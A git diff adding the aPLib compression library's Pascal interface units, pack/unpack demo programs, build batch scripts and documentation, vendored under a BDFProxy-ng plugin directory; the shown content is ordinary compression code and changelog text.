begin + write(w1:8,' -> ',w2:8,^m); + cb1_:=aP_pack_continue; + (*$IFDEF ESC_ABORT*) + if keypressed then + if readkey=#27 then + cb1_:=aP_pack_break; + (*$ENDIF ESC_ABORT*) + end; + +function cb1:longint;assembler; + asm + pushad + push dword [ebp+0Ch] + push dword [ ebp+10h] + call cb1_ + mov [esp+1ch],eax (* POPAD restores EAX *) + popad + end; + +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/appack.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/appack.pas new file mode 100644 index 0000000..b6c51f9 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/appack.pas @@ -0,0 +1,73 @@ +(* + * aPLib compression library - the smaller the better :) + * + * TMT Pascal packing example + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> VPascal by Veit Kannegieser, 23.09.1998 + * -> TMT Pascal by Oleg Prokhorov + *) + +uses aplibu; + +var + infile,outfile :file; + inbuffer,outbuffer :pointer; + workmem :pointer; + insize,outsize :longint; + +begin + (* check number of parameters *) + if paramcount<1 then + begin + writeln; + writeln('Syntax: APPACK [output file]'); + writeln; + halt(1); + end; + + (* open input file and read data *) + assign(infile,paramstr(1)); + reset(infile,1); + insize:=filesize(infile); + getmem(inbuffer,insize); + blockread(infile,inbuffer^,insize); + close(infile); + + (* get output mem and workmem *) + getmem(outbuffer,aP_max_packed_size(insize)); + getmem(workmem,aP_workmem_size(insize)); + + (* pack data *) + outsize:=aPsafe_pack(inbuffer^,outbuffer^,insize,workmem^,@cb1,nil); + writeln; + + if outsize=aPLib_Error then + begin + WriteLn; + WriteLn('ERR: an error occured while compressing'); + WriteLn; + Halt(1); + end; + + (* write packed data *) + if paramcount<2 then + begin + assign(outfile,'out.apk'); + writeln; + writeln('No output file specified, writing to ''out.apk'''); + end else assign(outfile,paramstr(2)); + rewrite(outfile,1); + blockwrite(outfile,outbuffer^,outsize); + close(outfile); + + (* free mem *) + freemem(inbuffer,insize); + freemem(outbuffer,aP_max_packed_size(insize)); + freemem(workmem,aP_workmem_size(insize)); + +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/apunpack.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/apunpack.pas new file mode 100644 index 0000000..5a3d5fb --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/apunpack.pas @@ -0,0 +1,82 @@ +(* + * aPLib compression library - the smaller the better :) + * + * TMT Pascal depacking example + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> VPascal by Veit Kannegieser, 23.09.1998 + * -> TMT Pascal by Oleg Prokhorov + *) + +uses aplibu; + +var + infile,outfile :file; + inbuffer,outbuffer :pointer; + insize,outsize :longint; + outmemsize :longint; + +begin + (* check number of parameters *) + if paramcount<1 then + begin + writeln; + writeln('Syntax: APUNPACK [output file]'); + writeln; + halt(1); + end; + + (* open input file and read header *) + assign(infile,paramstr(1)); + reset(infile,1); + insize:=filesize(infile); + + (* get mem and read input file *) + getmem(inbuffer,insize); + blockread(infile,inbuffer^,insize); + close(infile); + + (* check header and get original size *) + outmemsize := aPsafe_get_orig_size(inbuffer^); + if outmemsize=aPLib_Error then + begin + writeln('File is not packed with aPPack.'); + halt(0); + end; + + (* get mem for unpacked data *) + getmem(outbuffer,outmemsize); + + (* unpack data *) + outsize:=aPsafe_depack(inbuffer^,insize,outbuffer^,outmemsize); + + if outsize=aPLib_Error then + begin + WriteLn; + WriteLn('ERR: compressed data error'); + WriteLn; + Halt(1); + end; + + if outsize<>outmemsize then halt(1); + + (* write unpacked data *) + if paramcount<2 then + begin + assign(outfile,'out.dat'); + writeln; + writeln('No output file specified, writing to ''out.dat'''); + end else assign(outfile,paramstr(2)); + rewrite(outfile,1); + blockwrite(outfile,outbuffer^,outsize); + close(outfile); + + (* free memory *) + freemem(inbuffer,insize); + freemem(outbuffer,outmemsize); + +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/makeit.bat b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/makeit.bat new file mode 100644 index 0000000..98dbf03 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/makeit.bat @@ -0,0 +1,7 @@ +@ECHO OFF +ECHO --- Building aPLib TMT Pascal example --- +ECHO. + +tmtpc -C aplibu.pas +tmtpc -$LOGO- appack.pas +tmtpc -$LOGO- apunpack.pas diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplib.def b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplib.def new file mode 100644 index 0000000..226e53d --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplib.def @@ -0,0 +1,18 @@ +LIBRARY 'aplib.dll' + +STUB NONE + +DESCRIPTION '@#Jibz,V.K.:1.01#@ aPLib Compression/Decompression Library' + +EXPORTS + _aP_pack @1 + _aP_workmem_size @2 + _aP_max_packed_size @3 + _aP_depack_asm @4 + _aP_depack_asm_fast @5 + _aP_depack_asm_safe @6 + _aP_crc32 @7 + _aPsafe_pack @8 + _aPsafe_check @9 + _aPsafe_get_orig_size @10 + _aPsafe_depack @11 diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibu.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibu.pas new file mode 100644 index 0000000..789f443 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibu.pas @@ -0,0 +1,137 @@ +unit aplibu; + +(* + * aPLib compression library - the smaller the better :) + * + * VPascal interface to aplib.lib + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> VPascal by Veit Kannegieser, 23.09.1998 + *) + +interface + +const + aP_pack_continue =1; + aP_pack_break =0; + + aPLib_Error =-1; (* indicates error compressing/decompressing *) + +(* compression status callback functions *) +{&Saves EBX,ECX,EDX,ESI,EDI} +{&Cdecl+} +type + apack_status =function(const w0,w1,w2:longint; + const cbparam:pointer):longint; + +function cb0(const w0,w1,w2:longint; const cbparam:pointer):longint; +function cb1(const w0,w1,w2:longint; const cbparam:pointer):longint; + +{&Saves EBX,ESI,EDI} +{&Cdecl-} + + +(* library functions *) +{&Cdecl+}{&OrgName+} (* aplibu@_aP_pack -> _aP_pack *) + +function _aP_pack( + const source; + const destination; + const length :longint; + const workmem; + const callback :apack_status; + const cbparam:pointer) :longint; + +function _aP_workmem_size( + const inputsize :longint) :longint; + +function _aP_max_packed_size( + const inputsize :longint) :longint; + +function _aP_depack_asm( + const source; + const destination) :longint; + +function _aP_depack_asm_fast( + const source; + const destination) :longint; + +function _aP_depack_asm_safe( + const source; + const srclen :longint; + const destination; + const dstlen :longint) :longint; + +function _aP_crc32( + const source; + const length :longint) :longint; + +function _aPsafe_pack( + const source; + const destination; + const length :longint; + const workmem; + const callback :apack_status; + const cbparam:pointer) :longint; + +function _aPsafe_check( + const source) :longint; + +function _aPsafe_get_orig_size( + const source) :longint; + +function _aPsafe_depack( + const source; + const srclen :longint; + const destination; + const dstlen :longint) :longint; + +{&Cdecl-}{&OrgName-} + + +implementation + +{$IFDEF ESC_ABORT} +uses + VpSysLow; +{$ENDIF ESC_ABORT} + +function _aP_pack ;external; +function _aP_workmem_size ;external; +function _aP_max_packed_size ;external; +function _aP_depack_asm ;external; +function _aP_depack_asm_fast ;external; +function _aP_depack_asm_safe ;external; +function _aP_crc32 ;external; +function _aPsafe_pack ;external; +function _aPsafe_check ;external; +function _aPsafe_get_orig_size ;external; +function _aPsafe_depack ;external; + +{$L ..\..\lib\omf\aplib.lib} + +(* callback samples for _aP_pack *) + +function cb0(const w0,w1,w2:longint; + const cbparam:pointer):longint;assembler;{&Frame-}{&Uses None} + asm + mov eax,aP_pack_continue + end; + +function cb1(const w0,w1,w2:longint; + const cbparam:pointer):longint; + begin + Write(w1:8,' -> ',w2:8,^m); + cb1:=aP_pack_continue; + {$IfDef ESC_ABORT} + if SysKeyPressed then + if SysReadKey=#27 then + cb1:=aP_pack_break; + {$EndIf ESC_ABORT} + end; + +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibud.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibud.pas new file mode 100644 index 0000000..c501437 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibud.pas @@ -0,0 +1,144 @@ +unit aplibud; + +(* + * aPLib compression library - the smaller the better :) + * + * VPascal interface to aplib.lib + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> VPascal by Veit Kannegieser, 23.09.1998 + *) + +interface + +const + aP_pack_continue =1; + aP_pack_break =0; + + aPLib_Error =-1; (* indicates error compressing/decompressing *) + +(* compression status callback functions *) +{&Saves EBX,ECX,EDX,ESI,EDI} +{$IfDef Win32} {&StdCall+} {$Else} {&Cdecl+} {$EndIf} +type + apack_status =function(const w0,w1,w2:longint; + const cbparam:pointer):longint; + +function cb0(const w0,w1,w2:longint; const cbparam:pointer):longint; +function cb1(const w0,w1,w2:longint; const cbparam:pointer):longint; + +{&Saves EBX,ESI,EDI} +{&StdCall-} + + +(* DLL interface functions *) +{&OrgName+} (* aplibu@_aP_pack -> _aP_pack *) +{$IfDef Win32} {&StdCall+} {$Else} {&Cdecl+} {$EndIf} + + +function _aP_pack( + const source; + const destination; + const length :longint; + const workmem; + const callback :apack_status; + const cbparam:pointer) :longint; + +function _aP_workmem_size( + const inputsize :longint) :longint; + +function _aP_max_packed_size( + const inputsize :longint) :longint; + +function _aP_depack_asm( + const source; + const destination) :longint; + +function _aP_depack_asm_fast( + const source; + const destination) :longint; + +function _aP_depack_asm_safe( + const source; + const srclen :longint; + const destination; + const dstlen :longint) :longint; + +function _aP_crc32( + const source; + const length :longint) :longint; + +function _aPsafe_pack( + const source; + const destination; + const length :longint; + const workmem; + const callback :apack_status; + const cbparam:pointer) :longint; + +function _aPsafe_check( + const source) :longint; + +function _aPsafe_get_orig_size( + const source) :longint; + +function _aPsafe_depack( + const source; + const srclen :longint; + const destination; + const dstlen :longint) :longint; + +{&Cdecl-}{&StdCall-}{&OrgName-} + + +implementation + +{$IfDef ESC_ABORT} +uses + VpSysLow; +{$EndIf ESC_ABORT} + +const + aplib_dll_name={$IfDef OS2 }'aplib.dll'{$EndIf} + {$IfDef Win32}'aplib.dll'{$EndIf} + {$IfDef Linux}'aplib.so' {$EndIf}; + + +function _aP_pack ;external aplib_dll_name {$IfDef Linux}name 'aP_pack' {$EndIf}; +function _aP_workmem_size ;external aplib_dll_name {$IfDef Linux}name 'aP_workmem_size' {$EndIf}; +function _aP_max_packed_size ;external aplib_dll_name {$IfDef Linux}name 'aP_max_packed_size' {$EndIf}; +function _aP_depack_asm ;external aplib_dll_name {$IfDef Linux}name 'aP_depack_asm' {$EndIf}; +function _aP_depack_asm_fast ;external aplib_dll_name {$IfDef Linux}name 'aP_depack_asm_fast' {$EndIf}; +function _aP_depack_asm_safe ;external aplib_dll_name {$IfDef Linux}name 'aP_depack_asm_safe' {$EndIf}; +function _aP_crc32 ;external aplib_dll_name {$IfDef Linux}name 'aP_crc32' {$EndIf}; +function _aPsafe_pack ;external aplib_dll_name {$IfDef Linux}name 'aPsafe_pack' {$EndIf}; +function _aPsafe_check ;external aplib_dll_name {$IfDef Linux}name 'aPsafe_check' {$EndIf}; +function _aPsafe_get_orig_size ;external aplib_dll_name {$IfDef Linux}name 'aPsafe_get_orig_size' {$EndIf}; +function _aPsafe_depack ;external aplib_dll_name {$IfDef Linux}name 'aPsafe_depack' {$EndIf}; + + +(* callback samples for _aP_pack *) + +function cb0(const w0,w1,w2:longint; + const cbparam:pointer):longint;assembler;{&Frame-}{&Uses None} + asm + mov eax,aP_pack_continue + end; + +function cb1(const w0,w1,w2:longint; + const cbparam:pointer):longint; + begin + Write(w1:8,' -> ',w2:8,^m); + cb1:=aP_pack_continue; + {$IfDef ESC_ABORT} + if SysKeyPressed then + if SysReadKey=#27 then + cb1:=aP_pack_break; + {$EndIf ESC_ABORT} + end; + +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/appack.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/appack.pas new file mode 100644 index 0000000..1432392 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/appack.pas @@ -0,0 +1,86 @@ +{$M 32000} +{$I+} +program test__aplib_pack; + +(* + * aPLib compression library - the smaller the better :) + * + * VPascal packing example + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> VPascal by Veit Kannegieser, 23.09.1998 + *) + + +{$IfDef DYNAMIC_VERSION} +uses aplibud; +{$Else} +uses aplibu; +{$EndIf} + +var + infile ,outfile :file; + inbuffer ,outbuffer :pointer; + workmem :pointer; + insize ,outsize :longint; + +begin + (* check number of parameters *) + if ParamCount<1 then + begin + WriteLn; + WriteLn('Syntax: APPACK [output file]'); + WriteLn; + Halt(1); + end; + + (* open input file and read data *) + Assign(infile,ParamStr(1)); + FileMode:=$40; (* open_access_ReadOnly OR open_share_DenyNone *) + Reset(infile,1); + insize:=FileSize(infile); + GetMem(inbuffer,insize); + BlockRead(infile,inbuffer^,insize); + Close(infile); + + (* get output mem and workmem *) + GetMem(outbuffer,_aP_max_packed_size(insize)); + GetMem(workmem,_aP_workmem_size(insize)); + + (* pack data *) + outsize:=_aPsafe_pack(inbuffer^,outbuffer^,insize,workmem^,cb1,nil); + Writeln; + + if outsize=aPLib_Error then + begin + WriteLn; + WriteLn('ERR: an error occured while compressing'); + WriteLn; + Halt(1); + end; + + (* write packed data *) + if ParamCount<2 then + begin + Assign(outfile,'out.apk'); + WriteLn; + WriteLn('No output file specified, writing to ''out.apk'''); + end + else + Assign(outfile,ParamStr(2)); + FileModeReadWrite:=$42; (* open_access_ReadWrite OR open_share_DenyNone *) + Rewrite(outfile,1); + BlockWrite(outfile,outbuffer^,outsize); + Close(outfile); + + (* free mem *) + Dispose(inbuffer); + Dispose(outbuffer); + Dispose(workmem); + +end. + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/apunpack.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/apunpack.pas new file mode 100644 index 0000000..00a79af --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/apunpack.pas @@ -0,0 +1,85 @@ +program test__aplib_depack; + +(* + * aPLib compression library - the smaller the better :) + * + * VPascal depacking example + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> VPascal by Veit Kannegieser, 23.09.1998 + *) + +{$IfDef DYNAMIC_VERSION} +uses aplibud; +{$Else} +uses aplibu; +{$EndIf} + +var + infile ,outfile :file; + inbuffer ,outbuffer :pointer; + insize ,outsize :longint; + outmemsize :longint; + +begin + (* check number of parameters *) + if ParamCount<1 then + begin + WriteLn; + WriteLn('Syntax: APUNPACK [output file]'); + WriteLn; + Halt(1); + end; + + (* open input file and read header *) + Assign(infile,ParamStr(1)); + FileMode:=$40; (* open_access_ReadOnly OR open_share_DenyNone *) + Reset(infile,1); + insize:=FileSize(infile); + + (* get mem and read input file *) + GetMem(inbuffer,insize); + BlockRead(infile,inbuffer^,insize); + Close(infile); + + (* get original size from header and get mem *) + outmemsize := _aPsafe_get_orig_size(inbuffer^); + GetMem(outbuffer,outmemsize); + + (* unpack data *) + outsize:=_aPsafe_depack(inbuffer^,insize,outbuffer^,outmemsize); + + if outsize=aPLib_Error then + begin + WriteLn; + WriteLn('ERR: compressed data error'); + WriteLn; + Halt(1); + end; + + if outsize<>outmemsize then Halt(1); + + (* write unpacked data *) + if ParamCount<2 then + begin + Assign(outfile,'out.dat'); + WriteLn; + WriteLn('No output file specified, writing to ''out.dat'''); + end + else + Assign(outfile,ParamStr(2)); + FileModeReadWrite:=$42; (* open_access_ReadWrite OR open_share_DenyNone *) + Rewrite(outfile,1); + BlockWrite(outfile,outbuffer^,outsize); + Close(outfile); + + (* free mem *) + Dispose(inbuffer); + Dispose(outbuffer); + +end. + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/descript.ion b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/descript.ion new file mode 100644 index 0000000..803c0b4 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/descript.ion @@ -0,0 +1,8 @@ +aplib.def Interface Definition for APLIB.DLL (OS/2) +aplibu.pas Interface Unit to ..\..\lib\omf\aplib.lib +aplibud.pas Dynamic Version of aplibu +appack.pas demo program for the Compressor +apunpack.pas demo program for the Decompressor +make_exe.cmd make demo executables (adapt path) +test_exe.cmd test make_exe result +vpc.cfg VPC.CFG compiler parameter (adapt path) diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/make_exe.cmd b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/make_exe.cmd new file mode 100644 index 0000000..cd6adf7 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/make_exe.cmd @@ -0,0 +1,132 @@ +@echo off +cls +rem VP base directory -- also change in vpc.cfg +set vpbase=y:\vp21 +set host=os2 +if [os_shell]==[] set host=w32 +set vpbin=%vpbase%\bin.%host% +set beginlibpath=%vpbin% + +if exist dynamic goto md1 +echo *** MkDir *** +md dynamic +md dynamic\lnx +md dynamic\os2 +md dynamic\w32 +md static +md static\os2 +md static\w32 +md static\d32 +md static\lnx +:md1 + +echo *** DLL *** + +rem OS/2 +link386 /NoLogo /NoIgnoreCase /Map ..\..\lib\omf\aplib.lib,dynamic\os2\aplib.dll,dynamic\os2\aplib.map,,aplib.def +cd dynamic\os2 +mapsym aplib.map > nul +del aplib.map +cd ..\.. +rem if errorlevel 1 goto Error_Exit + +rem Win32 +copy ..\..\lib\dll\aplib.dll dynamic\w32\aplib.dll +if errorlevel 1 goto Error_Exit + +rem Linux +echo gcc -shared -nostdlib -Wl,--whole-archive aplib.a -o aplib.so > dynamic\lnx\aplib.txt + +echo *** dynamic EXE *** + +echo * OS/2: aPPack +set cfg=/Edynamic\os2 -CO -DDYNAMIC_VERSION @vpc.cfg +%vpbin%\vpc %cfg% aPPack.pas +if errorlevel 1 goto Error_Exit +echo * OS/2: aPUnpack +%vpbin%\vpc %cfg% aPUnpack.pas +if errorlevel 1 goto Error_Exit + +echo * Win32: aPPack +set cfg=/Edynamic\w32 -CW -DDYNAMIC_VERSION @vpc.cfg +%vpbin%\vpc %cfg% aPPack.pas +if errorlevel 1 GOTO Error_Exit +echo * Win32: aPUnpack +%vpbin%\vpc %cfg% aPUnpack.pas +if errorlevel 1 goto Error_Exit + +if not exist %vpbase%\units.lnx goto No_Linux_dyn +echo * Linux: aPPack +set cfg=/Edynamic\lnx -CL:LNX:LINUX -DDYNAMIC_VERSION @vpc.cfg +%vpbin%\vpc %cfg% aPPack.pas +if errorlevel 1 goto Error_Exit +%vpbin%\pe2elf -m3 dynamic\lnx\aPPack.exe +if errorlevel 1 goto Error_Exit +del dynamic\lnx\aPPack.exe +echo * Linux: aPUnpack +%vpbin%\vpc %cfg% aPUnpack.pas +if errorlevel 1 goto Error_Exit +%vpbin%\pe2elf -m3 dynamic\lnx\aPUnpack.exe +if errorlevel 1 goto Error_Exit +del dynamic\lnx\aPUnpack.exe +:No_Linux_dyn + + +echo *** static EXE *** + +echo * OS/2: aPPack +set cfg=/Estatic\os2 -CO @vpc.cfg +%vpbin%\vpc %cfg% aPPack.pas +if errorlevel 1 goto Error_Exit +echo * OS/2: aPUnpack +%vpbin%\vpc %cfg% aPUnpack.pas +if errorlevel 1 goto Error_Exit + +echo * Win32: aPPack +set cfg=/Estatic\w32 -CW @vpc.cfg +%vpbin%\vpc %cfg% aPPack.pas +if errorlevel 1 goto Error_Exit +echo * Win32: aPUnpack +%vpbin%\vpc %cfg% aPUnpack.pas +if errorlevel 1 goto Error_Exit + + +if not exist %vpbase%\units.d32 goto No_DPMI32 +echo * DPMI32: aPPack +copy %vpbase%\bin.d32\wdosxle.exe static\d32\wdosxle.exe +set cfg=/Estatic\d32 -CW:D32:DPMI32 @vpc.cfg +%vpbin%\vpc %cfg% aPPack.pas +if errorlevel 1 goto Error_Exit +%vpbin%\pe2le static\d32\aPPack.exe static\d32\aPPack.exe /s:wdxs_le.exe +32lite -8:0 -9:0 static\d32\aPPack.exe +echo * DPMI32: aPUnpack +%vpbin%\vpc %cfg% aPUnpack.pas +if errorlevel 1 goto Error_Exit +%vpbin%\pe2le static\d32\aPUnpack.exe static\d32\aPUnpack.exe /s:wdxs_le.exe +call 32lite -8:0 -9:0 static\d32\aPUnpack.exe +:No_DPMI32 + +if not exist %vpbase%\units.lnx goto No_Linux +echo * Linux: aPPack +set cfg=/Estatic\lnx -CL:LNX:LINUX @vpc.cfg +%vpbin%\vpc %cfg% aPPack.pas +if errorlevel 1 goto Error_Exit +%vpbin%\pe2elf -m3 static\lnx\aPPack.exe +if errorlevel 1 goto Error_Exit +del static\lnx\aPPack.exe +echo * Linux: aPUnpack +%vpbin%\vpc %cfg% aPUnpack.pas +if errorlevel 1 goto Error_Exit +%vpbin%\pe2elf -m3 static\lnx\aPUnpack.exe +if errorlevel 1 goto Error_Exit +del static\lnx\aPUnpack.exe +:No_Linux + +call LxLite static\os2\* dynamic\os2\* /U+ /F+ /ZS /T + +goto End + +:Error_Exit +PAUSE + +:End diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/test_exe.cmd b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/test_exe.cmd new file mode 100644 index 0000000..5c1997b --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/test_exe.cmd @@ -0,0 +1,31 @@ +@echo off +if [%1] == [L1] goto L1 + +cls +set testfile=aPPack.exe +call %0 L1 dynamic os2 +call %0 L1 dynamic w32 +call %0 L1 static d32 +call %0 L1 static os2 +call %0 L1 static w32 +goto END + +:L1 +echo ** %2 ** %3 ** +cd %2\%3 +if exist out.apk del out.apk +if exist test.ap del test.ap +if exist test.unp del test.unp +if [%3] == [d32] Dos4GW.exe aPPack.exe %testfile% test.ap +if [%3] == [os2] aPPack.exe %testfile% test.ap +if [%3] == [w32] call pec aPPack.exe %testfile% test.ap +if not exist test.ap pause +if [%3] == [d32] Dos4GW.exe aPUnpack.exe test.ap test.unp +if [%3] == [os2] aPUnpack.exe test.ap test.unp +if [%3] == [w32] call pec aPUnpack.exe test.ap test.unp +if not exist test.unp pause +if exist test.ap del test.ap +if exist test.unp del test.unp +cd ..\.. + +:END diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/vpc.cfg b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/vpc.cfg new file mode 100644 index 0000000..d95cb9b --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/vpc.cfg @@ -0,0 +1,25 @@ +/iY:\VP21\source\rtl +/lY:\VP21\lib.%p;Y:\VP21\units.%p +/oY:\VP21\out.%p\units +/rY:\VP21\res.%p +/uY:\VP21\units.%p;Y:\VP21\source\rtl;Y:\VP21\source\%p +/B +/P0 +/$D- +/$Delphi- +/$Optimize+ +/$L- +/$V- +/$LocInfo- +/$G+ +/$G3+ +/$I+ +/$Q- +/$R- +/$S- +/$SmartLink+ +/$Speed- +/$Use32+ +/$V+ +/$W- +/$X+ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/aPLib.chm b/Plugins/BDFProxy-ng/bdf/aPLib/doc/aPLib.chm new file mode 100644 index 0000000..6797207 Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/aPLib.chm differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/.buildinfo b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/.buildinfo new file mode 100644 index 0000000..2005c55 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/.buildinfo @@ -0,0 +1,4 @@ +# Sphinx build info version 1 +# This file hashes the configuration used when building these files. When it is not found, a full rebuild will be done. +config: e2bf9e15fc4b949553f854f04617e85b +tags: 645f666f9bcd5a90fca523b33c5a78b7 diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/acknowledgements.txt b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/acknowledgements.txt new file mode 100644 index 0000000..6d64210 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/acknowledgements.txt @@ -0,0 +1,33 @@ + +Acknowledgements +================ + +Greetings and thanks to: + +* d'b for our continuous discussions of compression techniques :) +* TAD for all the great ideas and the good discussions +* The people who made the Epsilon Compression Page +* Pasi 'Albert' Ojala for his info on PuCrunch +* RIT Research Labs for making Dos Navigator .. it's the BEST! +* LiuTaoTao for making TR .. one of the best debuggers around! +* Eugene Suslikov (SEN) for making HIEW .. it ROCKS! +* Oleg for his work on the TMT Pascal code +* Veit Kannegieser for his work on the VPascal code +* METALBRAIN for his work on the 16bit depackers +* Gautier for his work on the Ada code +* Alexey Solodovnikov for his work on the Delphi code +* Steve Hutchesson for his work on the MASM32 code +* Agner Fog for objconv and his great info on calling conventions +* All other people who make good software freely available for non-commercial + use! + +A special thanks to the beta-testers: + +* x-otic (thx mate ;) +* Oleg Prokhorov (great optimisations and bug reports!) +* Lawrence E. Boothby +* METALBRAIN (believe in miracles, my friend ;) +* eL PuSHeR +* Elli +* Veit Kannegieser +* Gautier diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/changes.txt b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/changes.txt new file mode 100644 index 0000000..d5b555e --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/changes.txt @@ -0,0 +1,343 @@ + +Version History +=============== + +**v1.1.1** * + Add ``VERSIONINFO`` resource to dll files, and fix subsystem in 32-bit dll + for Win95 compatibility, thanks to Richard Russell. + + Add Apple II example, thanks to Peter Ferrie. + + Add PowerBASIC example, thanks to Wayne Diamond. + + Use `Sphinx `_ to generate docs. + +**v1.1.0** * + Added Linux ELF shared library support, thanks to Vov Pov. + + Added a Python example, thx to Marco Fabbricatore. + + Fixed a bug in 64-bit :c:func:`aPsafe_check()`. + + Cleaned up compression code. + + Changed to semver version numbering. + +**v1.01** * + Added undecorated names to 32-bit dll again, thanks to James C. Fuller. + +**v1.00** * + Changed the license so aPLib can now be used free of charge for commercial + use as well. + + Added support for 64-bit compression and decompression. Since I do not + have a running 64-bit system myself, any feedback on how it works would + be great. + + Removed support for a number of old compilers/assemblers. If you still + need these, please use the previous release or contact me (if you need + object files for Delphi, simply unpack the OMF library). + + Moved most of the examples to the contrib folder since I no longer have + the old development tools installed to check they work. + + All the assembly source files included are now FASM syntax. + + Simplified the build process using objconv by Agner Fog. + + Jumped the version number to v1.00 to signify the code is stable. + +**v0.44** * + Made a few updates to the documentation. + + Fixed a rare crash, thx to Rafael Ahucha! + +**v0.43** * + Added Visual Basic 6 wrapper, thx to Jon Johnson! + + Added PowerBuilder 9.0 objects, thx to James Sheekey! + + Fixed a rare crash, thx to cyberbob! + +**v0.42** * + Added C and assembler implementations of a new safe depacker + :c:func:`aP_depack_safe()` and :c:func:`aP_depack_asm_safe()`. + + Updated the ``aPsafe_`` wrapper functions. + + Renamed ``lib/vc`` to ``lib/mscoff`` and ``lib/watcom`` to ``lib/omf`` to + better reflect that they are not limited to those specific compilers. + + Updated examples and documentation. + +**v0.41** + Added a `Borland C++ Builder `_ example, thx to + mouser! + + Fixed vc library compatibility with + `Pelles C `_. + +**v0.40** + The documentation was rewritten in html, and moved to a separate folder. + + All examples were updated. The ``dll_asm``, ``dos32`` and ``tlink32`` + examples were removed, and a small .NET example was added. + +**v0.39** + All aPLib functions now return ``-1`` on error instead of ``0``. Added a + macro ``APLIB_ERROR`` for this value to all include files. + +**v0.38** + The aPLib compression functions should now be fully thread-safe. Updated + the C decompression code for thread-safety. + +**v0.37** + Changed the parameters for the callback function. It is now called with + the input size, input bytes processed, output bytes produced, and a + user-supplied callback parameter. Thx to f0dder! + +**v0.36** * + Fixed a bug which could cause a match to be found in the area before the + input buffer under certain conditions, thx to Veit! + + Changed the extension of the C example files from ``cpp`` to ``c``. + + The ELF32 version was tested under FreeBSD, thx to Oleg! + +**v0.35** + Worked with a number of 'issues' in the build process. + + Fixed the C depacker so it no longer modifies the input buffer, thx to + Trevor Mensah! + +**v0.34** * + Updated the 16bit, Ada, Delphi, C/C++, TMT Pascal and Virtual Pascal + examples, thx to METALBRAIN, Gautier, Oleg and Veit! + + Added a MASM32 example program, thx to Steve Hutchesson! + + Fixed another bug which could cause :c:func:`aP_pack()` to read one byte + past the input buffer, thx to Reiner Proels! + + NOTE!! the dll version now expects the callback function to use the + stdcall calling convention. + + The libraries now include the function :c:func:`aP_max_packed_size()`, + which given the input size returns the maximum possible size + :c:func:`aP_pack()` may produce (i.e. the worst case output size of + totally incompressible data). At the moment the function simply returns + ``(inputsize + (inputsize / 8) + 64)``. + +**v0.33** + Added ELF32 version of aPLib, which has 